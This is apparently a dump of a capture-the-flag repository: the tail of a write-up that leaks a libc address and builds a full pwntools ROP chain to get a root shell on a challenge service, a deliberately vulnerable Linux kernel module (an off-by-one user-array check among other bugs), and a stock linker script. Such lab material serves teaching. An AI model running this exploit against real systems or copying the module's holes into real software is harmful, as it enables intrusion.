the offset from the mmap buffer and libc is `0x5c8000`. **TODO:** show how to figure this out (for now, check out [off.c](src/off.c)). 42 | 43 | 44 | Running the script a few times, we can see that it works: 45 | 46 | 47 | ``` 48 | $ python2 lol.py 49 | [+] Started program './lol' 50 | [*] address: 0x7f3541061000 51 | [*] libc base: 0x7f3540a99000 52 | [*] Stopped program './lol' 53 | $ python2 lol.py 54 | [+] Started program './lol' 55 | [*] address: 0x7fc06d84b000 56 | [*] libc base: 0x7fc06d283000 57 | [*] Stopped program './lol' 58 | ``` 59 | 60 | 61 | Now for the second part of the vulnerability: 62 | 63 | ```C 64 | ssize_t ret = read(STDIN_FILENO, buf, len); 65 | ``` 66 | 67 | `buf` is only 128 bytes large, but `len` is set to 4096. 68 | 69 | 70 | `buf` is located at `rbp-0x90`, so write the correct amount of padding to control `rip`. 71 | ``` 72 | 0x000000000040076c <+70>: lea rax,[rbp-0x90] 73 | 0x0000000000400773 <+77>: mov rsi,rax 74 | 0x0000000000400776 <+80>: mov edi,0x0 75 | 0x000000000040077b <+85>: call 0x4005d0 76 | ``` 77 | 78 | Add this to the script: 79 | ```python2 80 | pad = "A" * 152 81 | p.sendline(pad + "CCCCCCCC") 82 | 83 | p.interactive() 84 | ``` 85 | 86 | ``` 87 | $ python2 lol.py 88 | [+] Started program './lol' 89 | [*] address: 0x7f15f852e000 90 | [*] libc base: 0x7f15f7f66000 91 | [*] Switching to interactive mode 92 | 93 | Enter a message: [*] Program './lol' stopped with exit code -11 94 | [*] Got EOF while reading in interactive 95 | 96 | $ gdb ./lol 32641.core 97 | Core was generated by `./lol'. 98 | Program terminated with signal SIGSEGV, Segmentation fault. 99 | #0 0x00000000004007c5 in read_user_input () 100 | gdb-peda$ x/i $rip 101 | => 0x4007c5 : ret 102 | gdb-peda$ x/2xw $rsp 103 | 0x7fff39727948: 0x43434343 0x43434343 104 | ``` 105 | 106 | We now have full control over `rip`! Time to find some gadgets. 107 | 108 | 109 | ``` 110 | $ ROPgadget --binary libc-2.19.so > gadgets 111 | $ cat gadgets|grep ": pop rdi ; ret" 112 | 0x0000000000022482 : pop rdi ; ret 113 | $ strings -t x libc-2.19.so|grep /bin/sh 114 | 163b00 /bin/sh 115 | $ nm -D libc-2.19.so|grep system 116 | 0000000000041570 T __libc_system 117 | 0000000000114340 T svcerr_systemerr 118 | 0000000000041570 W system 119 | ``` 120 | 121 | This should be enough to set up our ROP chain to call `system("/bin/sh");`. Full script: 122 | 123 | ```python2 124 | from pwn import * 125 | import binascii 126 | 127 | p = remote("127.0.0.1", 7777) 128 | p.recvuntil("Enter name: ") 129 | p.send("A" * 257) 130 | tmp = p.recvuntil("!") 131 | 132 | addr = tmp[265:] 133 | addr = addr[:6].ljust(8, "\x00") 134 | addr = u64(addr) 135 | addr -= 0x41 # hex value of 'A' 136 | 137 | libc_base = addr - 0x5c8000 138 | log.info("address: {}".format(hex(addr))) 139 | log.info("libc base: {}".format(hex(libc_base))) 140 | 141 | pop_rdi = libc_base + 0x22482 142 | bin_sh = libc_base + 0x163b00 143 | system_addr = libc_base + 0x41570 144 | 145 | rop_chain = p64(pop_rdi) 146 | rop_chain += p64(bin_sh) 147 | rop_chain += p64(system_addr) 148 | 149 | pad = "A" * 152 150 | p.sendline(pad + rop_chain) 151 | 152 | p.interactive() 153 | ``` 154 | 155 | Let's run it! 156 | ``` 157 | python2 lol.py 158 | [+] Opening connection to 127.0.0.1 on port 7777: Done 159 | [*] address: 0x7f7011b5f000 160 | [*] libc base: 0x7f7011597000 161 | [*] Switching to interactive mode 162 | 163 | Enter a message: $ id 164 | uid=0(root) gid=0(root) groups=0(root) 165 | $ find / -name flag 166 | $ find / -name flag* 167 | /proc/sys/kernel/sched_domain/cpu0/domain0/flags 168 | /proc/sys/kernel/sched_domain/cpu0/domain1/flags 169 | /proc/sys/kernel/sched_domain/cpu1/domain0/flags 170 | /proc/sys/kernel/sched_domain/cpu1/domain1/flags 171 | /proc/sys/kernel/sched_domain/cpu2/domain0/flags 172 | /proc/sys/kernel/sched_domain/cpu2/domain1/flags 173 | /proc/sys/kernel/sched_domain/cpu3/domain0/flags 174 | /proc/sys/kernel/sched_domain/cpu3/domain1/flags 175 | /root/flag.txt 176 | /sys/devices/virtual/net/eth0/flags 177 | /sys/devices/virtual/net/lo/flags 178 | /sys/devices/platform/serial8250/tty/ttyS0/flags 179 | /sys/devices/platform/serial8250/tty/ttyS1/flags 180 | /sys/devices/platform/serial8250/tty/ttyS2/flags 181 | /sys/devices/platform/serial8250/tty/ttyS3/flags 182 | $ cat /root/flag.txt 183 | TG16{ROP_master-3000_destr0yer_of_libC} 184 | ```` 185 | -------------------------------------------------------------------------------- /finale/part3/lol.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define MAX_USERS 3 12 | #define LOL_ALLOC 0x1 13 | #define LOL_DEBUG 0x2 14 | #define LOL_ADD_USER 0x3 15 | 16 | static const char template[] = "Size: %zu. PID: %zu. Data: %s"; 17 | 18 | struct lol_buf { 19 | pid_t owner; 20 | pid_t users[MAX_USERS]; 21 | char *data; 22 | int debug; 23 | size_t size; 24 | size_t num_users; 25 | struct list_head list; 26 | }; 27 | 28 | struct lol_alloc { 29 | size_t size; 30 | }; 31 | 32 | LIST_HEAD(lol_bufs); 33 | 34 | static inline void free_buf(struct lol_buf *buf) 35 | { 36 | list_del(&buf->list); 37 | kfree(buf->data); 38 | kfree(buf); 39 | } 40 | 41 | static inline int check_users(struct lol_buf *buf, pid_t pid) 42 | { 43 | int i; 44 | 45 | for (i = 0; i < MAX_USERS; i++) { 46 | if (buf->users[i] == pid) 47 | return 1; 48 | } 49 | 50 | return 0; 51 | } 52 | 53 | static inline struct lol_buf *find_buf(pid_t pid) 54 | { 55 | struct lol_buf *buf; 56 | 57 | list_for_each_entry(buf, &lol_bufs, list) { 58 | if (buf->owner == pid || check_users(buf, pid)) 59 | return buf; 60 | } 61 | 62 | return NULL; 63 | } 64 | 65 | static ssize_t lol_read_debug(struct lol_buf *lbuf, 66 | char __user *buf, size_t len) 67 | { 68 | char *tmp; 69 | ssize_t ret; 70 | size_t to_copy, size; 71 | 72 | /* XXX: 32-bit numbers can be 10 digits long */ 73 | size = 20 + sizeof(template) + len; 74 | 75 | tmp = kmalloc(size, GFP_KERNEL); 76 | if (!tmp) 77 | return -ENOMEM; 78 | 79 | snprintf(tmp, size, template, lbuf->size, lbuf->owner, lbuf->data); 80 | to_copy = min(strlen(tmp), len); 81 | ret = copy_to_user(buf, tmp, to_copy); 82 | 83 | kfree(tmp); 84 | if (ret) 85 | return -EFAULT; 86 | 87 | return to_copy; 88 | } 89 | 90 | /* 91 | * Allocate a new lol_buf struct with the specified data size. 92 | */ 93 | static inline struct lol_buf *new_buf(size_t size) 94 | { 95 | struct lol_buf *buf; 96 | 97 | buf = kmalloc(sizeof(struct lol_buf), GFP_KERNEL); 98 | if (!buf) 99 | return NULL; 100 | 101 | buf->data = kmalloc(size, GFP_KERNEL); 102 | if (!buf->data) { 103 | kfree(buf); 104 | return NULL; 105 | } 106 | 107 | buf->size = size; 108 | buf->owner = current->pid; 109 | memset(buf->users, 0, sizeof(buf->users)); 110 | buf->num_users = 0; 111 | list_add(&buf->list, &lol_bufs); 112 | 113 | return buf; 114 | } 115 | 116 | static long lol_ioctl(struct file *file, unsigned int cmd, unsigned long arg) 117 | { 118 | void __user *argp = (void __user *)arg; 119 | 120 | switch (cmd) { 121 | case LOL_ALLOC: 122 | { 123 | struct lol_buf *buf; 124 | struct lol_alloc l = { 0 }; 125 | 126 | if (copy_from_user(&l, argp, sizeof(l))) 127 | return -EFAULT; 128 | 129 | buf = new_buf(l.size); 130 | if (!buf) 131 | return -ENOMEM; 132 | 133 | break; 134 | } 135 | case LOL_DEBUG: 136 | { 137 | int yes; 138 | struct lol_buf *lbuf; 139 | 140 | lbuf = find_buf(current->pid); 141 | if (!lbuf) 142 | return -EPERM; 143 | 144 | if (copy_from_user(&yes, argp, sizeof(yes))) 145 | return -EFAULT; 146 | 147 | lbuf->debug = yes ? 1 : 0; 148 | break; 149 | } 150 | case LOL_ADD_USER: 151 | { 152 | pid_t pid; 153 | struct lol_buf *lbuf; 154 | 155 | lbuf = find_buf(current->pid); 156 | if (!lbuf) 157 | return -EPERM; 158 | 159 | if (lbuf->num_users > MAX_USERS) 160 | return -EINVAL; 161 | 162 | if (copy_from_user(&pid, argp, sizeof(pid))) 163 | return -EFAULT; 164 | 165 | lbuf->users[lbuf->num_users++] = pid; 166 | break; 167 | } 168 | default: 169 | return -EINVAL; 170 | } 171 | 172 | return 0; 173 | } 174 | 175 | static ssize_t lol_write(struct file *file, const char __user *buf, 176 | size_t len, loff_t *off) 177 | { 178 | struct lol_buf *lbuf; 179 | 180 | lbuf = find_buf(current->pid); 181 | if (!lbuf) 182 | return -EPERM; 183 | 184 | if (current->pid != lbuf->owner) 185 | return -EPERM; 186 | 187 | if (len > lbuf->size) 188 | return -EINVAL; 189 | 190 | if (copy_from_user(lbuf->data, buf, len)) 191 | return -EFAULT; 192 | 193 | return len; 194 | } 195 | 196 | static ssize_t lol_read(struct file *file, char __user *buf, 197 | size_t len, loff_t *off) 198 | { 199 | size_t to_copy; 200 | struct lol_buf *lbuf; 201 | 202 | lbuf = find_buf(current->pid); 203 | if (!lbuf) 204 | return -EPERM; 205 | 206 | if (!lbuf->size) 207 | return 0; 208 | 209 | to_copy = min(lbuf->size, len); 210 | if (copy_to_user(buf, lbuf->data, to_copy)) 211 | return -EFAULT; 212 | 213 | return to_copy; 214 | } 215 | 216 | static int lol_flush(struct file *file, fl_owner_t id) 217 | { 218 | struct lol_buf *lbuf; 219 | 220 | lbuf = find_buf(current->pid); 221 | if (!lbuf) 222 | return -EPERM; 223 | 224 | free_buf(lbuf); 225 | 226 | return 0; 227 | } 228 | 229 | static const struct file_operations lol_fops = { 230 | .owner = THIS_MODULE, 231 | .unlocked_ioctl = lol_ioctl, 232 | .write = lol_write, 233 | .read = lol_read, 234 | .flush = lol_flush 235 | }; 236 | 237 | static struct miscdevice lol_dev = { 238 | .name = "loldev", 239 | .fops = &lol_fops, 240 | .mode = S_IRUGO | S_IWUGO 241 | }; 242 | 243 | static int __init lol_init(void) 244 | { 245 | return misc_register(&lol_dev); 246 | } 247 | 248 | static void __exit lol_exit(void) 249 | { 250 | struct lol_buf *pos, *n; 251 | 252 | list_for_each_entry_safe(pos, n, &lol_bufs, list) 253 | free_buf(pos); 254 | 255 | misc_deregister(&lol_dev); 256 | } 257 | 258 | module_init(lol_init); 259 | module_exit(lol_exit); 260 | 261 | MODULE_LICENSE("GPL"); 262 | MODULE_AUTHOR("Christian Resell"); 263 | MODULE_DESCRIPTION("TG16 shit"); 264 | -------------------------------------------------------------------------------- /pwn/leaky_leaky/src/lol.ld: -------------------------------------------------------------------------------- 1 | /* Script for -z combreloc: combine and sort reloc sections */ 2 | /* Copyright (C) 2014 Free Software Foundation, Inc. 3 | Copying and distribution of this script, with or without modification, 4 | are permitted in any medium without royalty provided the copyright 5 | notice and this notice are preserved. */ 6 | OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", 7 | "elf64-x86-64") 8 | OUTPUT_ARCH(i386:x86-64) 9 | ENTRY(_start) 10 | SEARCH_DIR("/usr/x86_64-unknown-linux-gnu/lib64"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/usr/x86_64-unknown-linux-gnu/lib"); 11 | SECTIONS 12 | { 13 | /* Read-only sections, merged into text segment: */ 14 | PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS; 15 | .interp : { *(.interp) } 16 | .note.gnu.build-id : { *(.note.gnu.build-id) } 17 | .hash : { *(.hash) } 18 | .gnu.hash : { *(.gnu.hash) } 19 | .dynsym : { *(.dynsym) } 20 | .dynstr : { *(.dynstr) } 21 | .gnu.version : { *(.gnu.version) } 22 | .gnu.version_d : { *(.gnu.version_d) } 23 | .gnu.version_r : { *(.gnu.version_r) } 24 | .rela.dyn : 25 | { 26 | *(.rela.init) 27 | *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) 28 | *(.rela.fini) 29 | *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) 30 | *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) 31 | *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) 32 | *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) 33 | *(.rela.ctors) 34 | *(.rela.dtors) 35 | *(.rela.got) 36 | *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) 37 | *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) 38 | *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) 39 | *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) 40 | *(.rela.ifunc) 41 | } 42 | .rela.plt : 43 | { 44 | *(.rela.plt) 45 | PROVIDE_HIDDEN (__rela_iplt_start = .); 46 | *(.rela.iplt) 47 | PROVIDE_HIDDEN (__rela_iplt_end = .); 48 | } 49 | .init : 50 | { 51 | KEEP (*(SORT_NONE(.init))) 52 | } 53 | .plt : { *(.plt) *(.iplt) } 54 | .plt.bnd : { *(.plt.bnd) } 55 | .text : 56 | { 57 | *(.text.unlikely .text.*_unlikely .text.unlikely.*) 58 | *(.text.exit .text.exit.*) 59 | *(.text.startup .text.startup.*) 60 | *(.text.hot .text.hot.*) 61 | *(.text .stub .text.* .gnu.linkonce.t.*) 62 | /* .gnu.warning sections are handled specially by elf32.em. */ 63 | *(.gnu.warning) 64 | } 65 | .fini : 66 | { 67 | KEEP (*(SORT_NONE(.fini))) 68 | } 69 | PROVIDE (__etext = .); 70 | PROVIDE (_etext = .); 71 | PROVIDE (etext = .); 72 | .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } 73 | .rodata1 : { *(.rodata1) } 74 | .eh_frame_hdr : { *(.eh_frame_hdr) } 75 | .eh_frame : ONLY_IF_RO { KEEP (*(.eh_frame)) } 76 | .gcc_except_table : ONLY_IF_RO { *(.gcc_except_table 77 | .gcc_except_table.*) } 78 | /* These sections are generated by the Sun/Oracle C++ compiler. */ 79 | .exception_ranges : ONLY_IF_RO { *(.exception_ranges 80 | .exception_ranges*) } 81 | /* Adjust the address for the data segment. We want to adjust up to 82 | the same address within the page on the next page up. */ 83 | . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE)); 84 | /* Exception handling */ 85 | .eh_frame : ONLY_IF_RW { KEEP (*(.eh_frame)) } 86 | .gcc_except_table : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) } 87 | .exception_ranges : ONLY_IF_RW { *(.exception_ranges .exception_ranges*) } 88 | /* Thread Local Storage sections */ 89 | .tdata : { *(.tdata .tdata.* .gnu.linkonce.td.*) } 90 | .tbss : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) } 91 | .preinit_array : 92 | { 93 | PROVIDE_HIDDEN (__preinit_array_start = .); 94 | KEEP (*(.preinit_array)) 95 | PROVIDE_HIDDEN (__preinit_array_end = .); 96 | } 97 | .init_array : 98 | { 99 | PROVIDE_HIDDEN (__init_array_start = .); 100 | KEEP (*(SORT_BY_INIT_PRIORITY(.init_array.*) SORT_BY_INIT_PRIORITY(.ctors.*))) 101 | KEEP (*(.init_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .ctors)) 102 | PROVIDE_HIDDEN (__init_array_end = .); 103 | } 104 | .fini_array : 105 | { 106 | PROVIDE_HIDDEN (__fini_array_start = .); 107 | KEEP (*(SORT_BY_INIT_PRIORITY(.fini_array.*) SORT_BY_INIT_PRIORITY(.dtors.*))) 108 | KEEP (*(.fini_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .dtors)) 109 | PROVIDE_HIDDEN (__fini_array_end = .); 110 | } 111 | .ctors : 112 | { 113 | /* gcc uses crtbegin.o to find the start of 114 | the constructors, so we make sure it is 115 | first. Because this is a wildcard, it 116 | doesn't matter if the user does not 117 | actually link against crtbegin.o; the 118 | linker won't look for a file to match a 119 | wildcard. The wildcard also means that it 120 | doesn't matter which directory crtbegin.o 121 | is in. */ 122 | KEEP (*crtbegin.o(.ctors)) 123 | KEEP (*crtbegin?.o(.ctors)) 124 | /* We don't want to include the .ctor section from 125 | the crtend.o file until after the sorted ctors. 126 | The .ctor section from the crtend file contains the 127 | end of ctors marker and it must be last */ 128 | KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors)) 129 | KEEP (*(SORT(.ctors.*))) 130 | KEEP (*(.ctors)) 131 | } 132 | .dtors : 133 | { 134 | KEEP (*crtbegin.o(.dtors)) 135 | KEEP (*crtbegin?.o(.dtors)) 136 | KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors)) 137 | KEEP (*(SORT(.dtors.*))) 138 | KEEP (*(.dtors)) 139 | } 140 | .jcr : { KEEP (*(.jcr)) } 141 | .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro .data.rel.ro.* .gnu.linkonce.d.rel.ro.*) } 142 | .dynamic : { *(.dynamic) } 143 | .got : { *(.got) *(.igot) } 144 | . = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) >= 24 ? 24 : 0, .); 145 | .got.plt : { *(.got.plt) *(.igot.plt) } 146 | .data : 147 | { 148 | *(.data .data.* .gnu.linkonce.d.*) 149 | SORT(CONSTRUCTORS) 150 | } 151 | .data1 : { *(.data1) } 152 | _edata = .; PROVIDE (edata = .); 153 | . = .; 154 | __bss_start = .; 155 | .bss : 156 | { 157 | *(.dynbss) 158 | *(.bss .bss.* .gnu.linkonce.b.*) 159 | *(COMMON) 160 | /* Align here to ensure that the .bss section occupies space up to 161 | _end. Align after .bss to ensure correct alignment even if the 162 | .bss section disappears because there are no input sections. 163 | FIXME: Why do we need it? When there is no .bss section, we don't 164 | pad the .data section. */ 165 | . = ALIGN(. != 0 ? 64 / 8 : 1); 166 | } 167 | .lbss : 168 | { 169 | *(.dynlbss) 170 | *(.lbss .lbss.* .gnu.linkonce.lb.*) 171 | *(LARGE_COMMON) 172 | } 173 | . = ALIGN(64 / 8); 174 | . = SEGMENT_START("ldata-segment", .); 175 | .lrodata ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) : 176 | { 177 | *(.lrodata .lrodata.* .gnu.linkonce.lr.*) 178 | } 179 | .ldata ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) : 180 | { 181 | *(.ldata .ldata.* .gnu.linkonce.l.*) 182 | . = ALIGN(. != 0 ? 64 / 8 : 1); 183 | } 184 | . = ALIGN(64 / 8); 185 | _end = .; PROVIDE (end = .); 186 | . = DATA_SEGMENT_END (.); 187 | /* Stabs debugging sections. */ 188 | .stab 0 : { *(.stab) } 189 | .stabstr 0 : { *(.stabstr) } 190 | .stab.excl 0 : { *(.stab.excl) } 191 | .stab.exclstr 0 : { *(.stab.exclstr) } 192 | .stab.index 0 : { *(.stab.index) } 193 | .stab.indexstr 0 : { *(.stab.indexstr) } 194 | .comment 0 : { *(.comment) } 195 | /* DWARF debug sections. 196 | Symbols in the DWARF debugging sections are relative to the beginning 197 | of the section so we begin them at 0. */ 198 | /* DWARF 1 */ 199 | .debug 0 : { *(.debug) } 200 | .line 0 : { *(.line) } 201 | /* GNU DWARF 1 extensions */ 202 | .debug_srcinfo 0 : { *(.debug_srcinfo) } 203 | .debug_sfnames 0 : { *(.debug_sfnames) } 204 | /* DWARF 1.1 and DWARF 2 */ 205 | .debug_aranges 0 : { *(.debug_aranges) } 206 | .debug_pubnames 0 : { *(.debug_pubnames) } 207 | /* DWARF 2 */ 208 | .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) } 209 | .debug_abbrev 0 : { *(.debug_abbrev) } 210 | .debug_line 0 : { *(.debug_line .debug_line.* .debug_line_end ) } 211 | .debug_frame 0 : { *(.debug_frame) } 212 | .debug_str 0 : { *(.debug_str) } 213 | .debug_loc 0 : { *(.debug_loc) } 214 | .debug_macinfo 0 : { *(.debug_macinfo) } 215 | /* SGI/MIPS DWARF 2 extensions */ 216 | .debug_weaknames 0 : { *(.debug_weaknames) } 217 | .debug_funcnames 0 : { *(.debug_funcnames) } 218 | .debug_typenames 0 : { *(.debug_typenames) } 219 | .debug_varnames 0 : { *(.debug_varnames) } 220 | /* DWARF 3 */ 221 | .debug_pubtypes 0 : { *(.debug_pubtypes) } 222 | .debug_ranges 0 : { *(.debug_ranges) } 223 | /* DWARF Extension. */ 224 | .debug_macro 0 : { *(.debug_macro) } 225 | .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) } 226 | /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) } 227 | .lol 0xdeadbeef : { *(.lol) } 228 | } 229 | --------------------------------------------------------------------------------